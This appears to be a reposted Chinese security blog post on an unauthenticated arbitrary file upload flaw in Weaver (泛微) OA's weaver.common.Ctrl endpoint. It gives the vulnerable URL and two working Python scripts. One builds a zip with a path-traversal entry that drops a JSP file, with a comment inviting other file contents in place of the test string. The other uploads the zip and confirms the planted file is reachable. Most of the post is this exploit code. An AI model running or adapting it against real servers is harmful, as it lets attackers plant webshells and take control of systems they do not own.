暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

泛微OA weaver.common.Ctrl 任意文件上传漏洞

安全小工坊 2021-05-18
7226

漏洞简介

泛微OA存在未授权任意文件上传漏洞,攻击者可直接上传任意文件,进而控制服务器。

影响版本

泛微OA

漏洞复现

复现步骤

存在漏洞的路径是:

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

生成上传文件的代码:

import zipfile


filename = 'test'


name1 = filename + '.jsp'
name2 = '../../../' + name1




def file_zip():
   shell = """<%out.print("just a test~");%>"""  ## 替换上传的文件内容
   zf = zipfile.ZipFile(filename + '.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
   zf.writestr(name2, shell)


if __name__=='__main__':
   file_zip()


上传生成的文件:

import requests


def check(url):
   check_url = url + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
   r = requests.get(check_url)
   if r.status_code != 200:
       return False
   file = [('file1', ('test.zip', open('test.zip', 'rb'), 'application/zip'))]
   requests.post(url=check_url, files=file, timeout=10, verify=False)
   file_url = url + '/cloudstore/' + 'test.jsp'
   response = requests.get(url=file_url)
   if response.status_code == 200:
      print('上传成功,url为:{}'.format(file_url))
   return False

if __name__ == '__main__':
    check('http://xxx.xxx.xxx.xxx')

访问上传的文件:

http://xxx.xxx.xxx.xxx/cloudstore/test.jsp

漏洞检测

安全小工坊

扫描二维码

关注我们


文章转载自安全小工坊,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论